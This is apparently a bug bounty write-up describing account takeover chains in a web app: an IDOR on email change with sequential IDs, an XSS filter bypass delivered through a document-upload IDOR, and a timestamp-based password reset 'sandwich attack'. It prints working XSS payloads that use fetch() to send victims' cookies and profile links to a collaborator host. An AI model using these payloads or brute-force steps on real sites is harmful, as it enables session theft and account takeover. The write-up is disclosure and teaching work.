Taking over accounts in multiple ways
With my invitation to renniepak's HackerHideout, I got the chance to re-live the bug bounty/hunting thrill that I hadn't felt for some time. I haven't bug hunted for quite a while, so I decided to write a small post about two recent findings that could lead to an account takeover (ATO) and one bonus informative finding that I was so close to escalating to a high, but yet so far.
Disclaimer: the bugs were reported in a VDP, so fewer (and only) swag points for me, I guess.
The web application
In this application, organization owners submit information about their company such as legal documents, financial details, and other information for the application owner to review and accept (or decline). An organization owner creates an account with a username and an email address, and then they can further explore the app, and submit the above-mentioned details and documents.
ATO #1: Unauthorized change of email address
The first way to takeover an account in this application is through a simple IDOR. A user can change their email address without password verification. When submitting an email change, one can see their account's ID being sent along with the email address. Changing this ID to another user's ID will change that other user's email address. The only problem? No one knows another user's ID.
Here comes into play the disregard of security best practices. According to security best practices, user IDs should not be sequential. Rather, they should be randomly generated, UUIDv4 ideally. In our case, the application generates IDs sequentially. This, along with the fact that the email address modification endpoint is susceptible to brute forcing attacks, allows an attacker to change the email address of ALL of the accounts in the application (~1700 accounts). The attacker needs to only fuzz IDs up until their ID. Since the victim's account exists already it has a lower ID.
After changing the email address of the victim to one an attacker owns, they can request a password reset using the victim's username and the new email address.
Is it elegant? No. Is it quiet and under the hood? No. Is it successful? Yes.
ATO #2: IDOR to XSS to Email Address Change
This vulnerability is a bug chain that can lead to an account takeover. The bug chain takes advantage of two vulnerabilities that can lead to unauthorized access to the victim's account.
Bug #1: Self-XSS in an uploaded document
As mentioned, a user can upload any document. This document can either be assigned to one of the user's organizations or just be an uploaded document waiting to be assigned to an organization.
The documents are allowed to have HTML content that gets rendered. Although the application is filtering obvious payloads such as <script>
tags and elements such as onerror
etc. it was failing to catch slightly obfuscated payloads such as <img src="x"/onerror="alert(1)">
. With this, we have achieved a (self-)XSS.
But how can we deliver this to another user?
Bug #2: IDOR in document upload
Since there was already an IDOR existing (ATO #1), this is an indication that there might be other authorization issues around the application. It turns out that an attacker can upload an unassigned document to another user's account by modifying the user ID. Then the document is assigned a document ID, which an attacker can view in the request's response.
The only hindrance in this is that an attacker cannot know the user ID of the victim. This severely lowers the severity of the vulnerability, since the attack complexity is set to high. If an attacker knows the victim's user ID, they can then deliver the document URL to the victim, triggering the XSS, once the victim clicks the URL.
https://sub.target.tld/index.php?module=Documents&view=Detail&record=<DOCUMENT ID>&app=MARKETING
But one can also follow the same path as in ATO #1: upload to all the accounts in the application a document with a XSS payload, hoping that someone will fall for it and open it.
Until now, we have achieved to execute JavaScript code in our victim's/victims' browser. Can we escalate this to get unauthorized access?
XSS? Isn't this just a fancy word for "account takeover"?
A XSS on its own cannot cause an account takeover. Typically, for an ATO to be achieved, the site must use a cookie-based authentication mechanism and cookies must be missing the HTTPOnly flag. That way, a XSS payload can access and transfer the cookies to the attacker.
In this case, the application needed two things for a XSS to have an ATO impact: the cookies and the user ID. Using both, an attacker can access the victim's profile, change the email address, and takeover the account by resetting the password.
This is achieved by using the following XSS payloads:
<img src="x"/onerror="fetch('https://BURP-COLLABORATOR', {method: 'POST',mode: 'no-cors',body:document.cookie});">
<img src="x"/onerror="var linkElement = document.getElementById('[VALUE]');fetch('https://BURP-COLLABORATOR', {method: 'POST',mode: 'no-cors',body:linkElement});">
where [VALUE]
is the href
attribute of an <a>
HTML tag that contains the link to the account preferences, which includes the user's ID.
The first payload sends the attacker the victim's cookies and the second payload sends the link to the account preferences of the victim, which contains the user's ID. Combining those two, an attacker can access the victim's profile, edit it, change the email address without password verification, request a password reset, and takeover the account.
Unfortunately (for me) the XSS issue was a duplicate but the IDOR issue was a valid submission. Thus, the report was lowered from high to medium severity. Still, a very nice bug chain that I really enjoyed!
Bonus finding: (Almost) Sandwich attack on password reset code
I was so close to a sandwich attack on a reset password functionality that could let to an ATO but the backend server took its time.
Password reset codes were generated based on a hex representation of the UNIX timestamp (with milliseconds). Requests were sent at the same time but the backend server was too slow between the code generations and the timestamp range was too large to be realistic.
A sandwich attack on this function would work like this: send three reset password requests. The first one for your account, the second one for your victim's, and the third one again for your account.
Since the reset code is timestamp-based, the victim's code's value must be between the two codes of your account. If those requests are sent really fast, the range between the two codes must be really small, thus the fuzzing for the victim's code would be realistic.
The problem is that the backend system that generates the codes must also be properly configured to generate them in proper timing and not "take its time". The latter was the case here. The system was taking its time, making the timestamp range really big, even if the requests were sent with almost no delay between them.
I successfully exploited this only once, probably by luck. The triager wasn't satisfied though. The result? Secured by unstable code!
This particular "Sandwich Attack" is/would be a combination of those two excellent writeups: